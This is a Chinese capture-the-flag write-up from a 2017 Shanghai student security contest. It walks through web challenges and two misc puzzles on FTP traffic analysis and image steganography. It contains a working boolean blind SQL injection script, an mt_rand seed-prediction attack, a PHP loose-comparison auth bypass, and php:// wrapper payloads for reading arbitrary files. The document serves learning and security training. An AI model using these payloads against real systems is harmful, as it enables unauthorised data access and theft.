上海大学生网络安全赛writeup

跟着pupiles师傅做了web,赛后照着wp学习了两道misc.😗

题目备份:

web-100✔

常规注入,过滤的不多,布尔盲注即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/4 14:44
# Email: 3022235906@qq.com
# Comment: bool sql injection for web-100
import requests
result = ''
last = 0
for i in range(1, 50):
for j in range(31, 129):
url = "http://ff9590ddcf874b178f4e19a527b0732b21592174f7b6427d.game.ichunqiu.com/index.php?id=-1"
url += "%20or%20ascii(mid((select f14g from f14g limit 1)," + str(i)
url += ",1))>" + str(j) + "--%20-"
#print(url)
try:
res = requests.get(url)
except Exception as e:
continue
if res.text is not None:
if 'Hello' not in res.text:
result += chr(j)
print('result', result)
break

web-200✔

扫到一个”.git”目录,里面只有一个文件,下载下来后,使用file命令查看,

1
2
root@kali:~# file index.index
index.index: zlib compressed data

发现是段zlib数据,zlib的文件头是以78开始的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# xxd index.index
00000000: 7801 5d8f d10a 8230 1486 bb3e 4f31 86a0 x.]....0...>O1..
00000010: de08 1174 6366 37d1 0b74 1721 3a8f 3a98 ...tcf7..t.!:.:.
00000020: 9bb4 0941 f8ee 6dd3 8adc e5fe 8fef fc7f ...A..m.........
00000030: 2554 4576 dbfd 0600 0ef9 d00d 005c 3231 %TEv.........\21
00000040: d648 6833 4a66 b892 89fd a6a9 0d9a 886b .Hh3Jf.........k
00000050: 8d26 0a8a cbf9 7aa3 a54f e93d 8e5f 40ec .&....z..O.=._@.
00000060: 0b86 b245 9291 559c c284 42e3 3f43 3bd5 ...E..U...B.?C;.
00000070: a395 4ece da70 8105 3eb9 363a f292 2474 ..N..p..>.6:..$t
00000080: 3743 279e cd8e b066 0fb6 680a a6a4 41f9 7C'....f..h...A.
00000090: c5a9 af18 a71e 46d6 2912 3874 d19f 5685 ......F.).8t..V.
000000a0: b28c 96a2 1a7b baf4 5eef 1a78 fd1b e586 .....{..^..x....
000000b0: b1f1 213e a3e7 70be 34d9 fa00 f9f1 0d4d ..!>..p.4......M
000000c0: 1d5d be .].

写个脚本解压一下,

1
2
3
4
5
root@kali:~# cat unzlib.py
import zlib
with open('index.index') as f:
res = f.read().decode('zlib')
print(res)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# python unzlib.py
blob 316
<?php
include "function.php";
if(isset($_GET["action"])){
$page = $_GET["action"];
}else{
$page = "home";
}
if(file_exists($page.'.php')){
$file = file_get_contents($page.".php");
echo $file;
}
if(@$_GET["action"]=="album"){
if(isset($_GET["pid"])){
curl($_GET["pid"]);
}
}
?>

之后读flag就很容易了.

其实action参数可以直接读到flag,出题人真是粗心👀

WEB-300✔

拿到源码后发现是加密的,最近比赛的惯用套路.

p神做了个解密的docker镜像:https://hub.docker.com/r/vulhub/php-decrypt-eval/

解密得到源码.

题目源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$seed = rand(0,99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
$key = auth_code(16, false);
echo "The key is :" . $key . "<br>";
$private = auth_code(10, false);
if(isset($_POST['private'])){
if($_POST['private'] === $_SESSION["pri"]){
header("Location:admin.php");
}else{
$_SESSION["pri"] = $private;
die("No private!");
}
}
?>

先明确目的是要往admin.php跳转.

代码流程是先产生一个16位的随机数输出,然后再产生一个10位随机数存入session.第二次访问时post一个private,如果等于session里的10位随机数就跳转.

php在多次调用mt_rand()产生随机数的时候,使用的是同一个种子,导致能用一个随机数爆破出种子,预测多次产生的随机数值.

详情可以参考:http://wonderkun.cc/index.html/?p=585

爆破用的工具:php_mt_seed-4.0

跳到admin.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['authAdmin']!="***********"){
die("No login!");
}
if(!isset($_POST['auth'])){
die("No Auth");
}else{
$auth = $_POST['auth'];
$auth_code = "**********";
if(json_decode($auth) == $auth_code){
;
}else{
header("Location:index.php");
}
}
?>

利用0==”str”的特性,

通过json传一个int型的数字0进去,

1
auth={0}

跳到file.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST["auth"]=="***********"){
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
$id = $_GET["id"];
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
if (isset($matches[1]))
$id = $matches[1];
if (file_exists("./" . $id) == false)
die("file not found");
$img_data = fopen($id,'rb');
$data = fread($img_data,filesize($id));
echo $data;
}else{
echo "file not found";
}
}
?>

flag文件在flag.php,但是这里参数id又必须包含”jpg”,

可以用如下方式绕过,

1
2
3
4
id=php://resource=jpg/resource=flag.php # 双管道
id=php://jpg/resource=flag.php
id=php://resource=./jpg/../flag.php # windows下可以,Linux不行
......

MISC-流量分析

FTP流量分析.

做这道题前我并不熟悉FTP协议,这次也趁机了解了一下.😶

FTP是在两台计算机间进行文件传输时使用的协议,它会建立两条TCP连接:一条用来控制(例如登陆验证,发送文件名),一条用来传输文件.

控制连接使用TCP21端口,数据传输使用TCP20端口.

  • 控制命令

  • 应答消息

过滤出ftp流量和传输的文件,

1
ftp || ftp-data

ftp-data就是就是传输的文件数据,

一共传输了4个文件(flag.zip,flag.zip,singlelist.c,key.log)

提取出第一个flag.zip和key.log.

flag.zip是加密的,key.log是密钥记录

在wireshark中导入key.log(编辑->首选项->协议->SSL),

导入后可以看到HTTP协议的流量了,

找到一个zip文件,导出后解压是一个音频.

从音频中提取出解压密码(其实我没做这一步,那个软件太大了懒得下🐶),解压flag.zip即可.

MISC-图片隐写

左边有张二维码,但是三个定位标志被遮挡了.

标准的二维码结构长这样,三个定位标志是相同且固定的.

所以,补上定位标志,

扫描得到,

“why n0t try us3 b!nwa1k?”

所以,可能图片里还有其他文件,找到png的文件尾,发现接着后面是一个rar文件头.

但是rar文件头有损坏,

将其修复为:52617221

把rar提取出来,发现是加密的.

png图片的下方还有一个pdf417码,先反色一下,

然后在https://online-barcode-reader.inliteresearch.com/上扫描得到,

“Key1921070120171018”

就是rar文件的解压密码.

附常见文件的文件头和文件尾: